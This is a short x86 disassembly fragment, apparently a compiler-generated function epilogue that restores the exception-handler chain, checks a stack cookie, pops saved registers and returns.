sbb ecx, edx
pop ecx
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret